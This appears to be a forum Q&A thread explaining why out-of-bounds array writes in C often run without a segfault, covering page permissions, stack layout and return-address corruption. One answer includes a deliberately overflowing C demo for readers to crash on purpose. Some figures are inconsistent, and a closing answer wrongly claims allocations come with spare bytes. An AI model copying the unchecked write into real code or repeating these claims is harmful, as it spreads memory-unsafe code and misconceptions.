0x35c = 860
so there were still:
4096 - 864 = 3232
bytes left on that page of memory on which q[] was allocated. That space can hold:
3232 / 4 = 808
integers, and the code treated it as if it contained elements of q at position 200 to 1008.
We all know that those elements don’t exists and the compiler didn’t complain, neither did the hw since we have write permissions to that page. Only when i=1008 did q[] refer to an address on a different page for which we didn’t have write permission, the virtual memory hw detected this and triggered a segfault.
An integer is stored in 4 bytes, meaning that this page contains 808 (3236/4) additional fake elements meaning that it is still perfectly legal to access these elements from q[200], q[201] all the way up to element 199+808=1007 (q[1007]) without triggering a seg fault. When accessing q[1008] you enter a new page for which the permission are different.
Since you're writing outside the boundaries of your array, the behaviour of your code in undefined.
It is the nature of undefined behaviour that anything can happen, including lack of segfaults (the compiler is under no obligation to perform bounds checking).
You're writing to memory you haven't allocated but that happens to be there and that -- probably -- is not being used for anything else. Your code might behave differently if you make changes to seemingly unrelated parts of the code, to your OS, compiler, optimization flags etc.
In other words, once you're in that territory, all bets are off.
Regarding exactly when / where a local variable buffer overflow crashes depends on a few factors:
The amount of data on the stack already at the time the function is called which contains the overflowing variable access
The amount of data written into the overflowing variable/array in total
Remember that stacks grow downwards. I.e. process execution starts with a stackpointer close to the end of the memory to-be-used as stack. It doesn't start at the last mapped word though, and that's because the system's initialization code may decide to pass some sort of "startup info" to the process at creation time, and often do so on the stack.
That is the usual failure mode - a crash when returning from the function that contained the overflow code.
If the total amount of data written into a buffer on the stack is larger than the total amount of stackspace used previously (by callers / initialization code / other variables) then you'll get a crash at whatever memory access first runs beyond the top (beginning) of the stack. The crashing address will be just past a page boundary - SIGSEGV due to accessing memory beyond the top of the stack, where nothing is mapped.
If that total is less than the size of the used part of the stack at this time, then it'll work just ok and crash later - in fact, on platforms that store return addresses on the stack (which is true for x86/x64), when returning from your function. That's because the CPU instruction ret actually takes a word from the stack (the return address) and redirects execution there. If instead of the expected code location this address contains whatever garbage, an exception occurs and your program dies.
To illustrate this: When main() is called, the stack looks like this (on a 32bit x86 UNIX program):
[ esp ] <return addr to caller> (which exits/terminates process)
[ esp + 4 ] argc
[ esp + 8 ] argv
[ esp + 12 ] envp <third arg to main() on UNIX - environment variables>
[ ... ]
[ ... ] <other things - like actual strings in argv[], envp[]
[ END ] PAGE_SIZE-aligned stack top - unmapped beyond
When main() starts, it will allocate space on the stack for various purposes, amongst others to host your to-be-overflowed array. This will make it look like:
[ esp ] <current bottom end of stack>
[ ... ] <possibly local vars of main()>
[ esp + X ] arr[0]
[ esp + X + 4 ] arr[1]
[ esp + X + 8 ] arr[2]
[ esp + X + 12 ] <possibly other local vars of main()>
[ ... ] <possibly other things (saved regs)>
[ old esp ] <return addr to caller> (which exits/terminates process)
[ old esp + 4 ] argc
[ old esp + 8 ] argv
[ old esp + 12 ] envp <third arg to main() on UNIX - environment variables>
[ ... ]
[ ... ] <other things - like actual strings in argv[], envp[]
[ END ] PAGE_SIZE-aligned stack top - unmapped beyond
This means you can happily access way beyond arr[2].
For a taster of different crashes resulting from buffer overflows, attempt this one:
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv)
{
int i, arr[3];
for (i = 0; i < atoi(argv[1]); i++)
arr[i] = i;
do {
printf("argv[%d] = %s\n", argc, argv[argc]);
} while (--argc);
return 0;
}
and see how different the crash will be when you overflow the buffer by a little (say, 10) bit, compared to when you overflow it beyond the end of the stack. Try it with different optimization levels and different compilers. Quite illustrative, as it shows both misbehaviour (won't always print all argv[] correctly) as well as crashes in various places, maybe even endless loops (if, e.g., the compiler places i or argc into the stack and the code overwrites it during the loop).
By using an array type, which C++ has inherited from C, you are implicitly asking not to have a range check.
If you try this instead
void main(int argc, char* argv[])
{
std::vector<int> arr(3);
arr.at(4) = 99;
}
you will get an exception thrown.
So C++ offers both a checked and an unchecked interface. It is up to you to select the one you want to use.
That's undefined behavior - you simply don't observe any problems. The most likely reason is you overwrite an area of memory the program behavior doesn't depend on earlier - that memory is technically writable (stack size is about 1 megabyte in size in most cases) and you see no error indication. You shouldn't rely on this.
To answer your question why it is "undetected": Most C compilers do not analyse at compile time what you are doing with pointers and with memory, and so nobody notices at compile time that you've written something dangerous. At runtime, there is also no controlled, managed environment that babysits your memory references, so nobody stops you from reading memory that you aren't entitled to. The memory happens to be allocated to you at that point (because its just part of the stack not far from your function), so the OS doesn't have a problem with that either.
If you want hand-holding while you access your memory, you need a managed environment like Java or CLI, where your entire program is run by another, managing program that looks out for those transgressions.
Your code has Undefined Behavior. That means it can do anything or nothing. Depending on your compiler and OS etc., it could crash.
That said, with many if not most compilers your code will not even compile.
That's because you have void main, while both the C standard and the C++ standard requires int main.
About the only compiler that's happy with void main is Microsoft’s, Visual C++.
That's a compiler defect, but since Microsoft has lots of example documentation and even code generation tools that generate void main, they will likely never fix it. However, consider that writing Microsoft-specific void main is one character more to type than standard int main. So why not go with the standards?
Cheers & hth.,
A segmentation fault occurs when a process tries to overwrite a page in memory which it doesn't own; Unless you run a long way over the end of you're buffer you aren't going to trigger a seg fault.
The stack is located somewhere in one of the blocks of memory owned by your application. In this instance you have just been lucky if you haven't overwritten something important. You have overwritten perhaps some unused memory. If you were a bit more unlucky you might have overwritten the stack frame of another function on the stack.
So apparently when you're asking the computer for a certain amount of bytes to allocate in memory, say:
char array[10]
it gives us a few extra bytes in order not to bump into segfault, however it's still not safe to use those, and trying to reach further memory will eventually cause the program to crash.

Resources